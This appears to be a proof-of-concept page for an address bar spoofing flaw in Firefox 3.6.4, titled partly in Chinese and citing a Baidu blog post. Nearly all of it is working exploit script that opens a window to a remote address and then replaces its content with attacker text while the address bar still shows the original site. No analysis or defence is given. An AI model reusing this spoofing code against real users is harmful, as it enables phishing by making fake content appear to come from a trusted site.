Mozilla Firefox 3.6.4 address bar欺骗漏洞 POC

                                                http://hi.baidu.com/aullik5/blog/item/ebf24017cf670b4720a4e939.html

<input type=submit value="Click me!" onclick="clicked()">
<script>
var w;
function clicked() {
w = window.open("http://1.2.3.4/", "_blank", "toolbar=1,menubar=1");
setTimeout('w.document.body.innerHTML = "Fake content!";w.stop();', 500);
}
</script>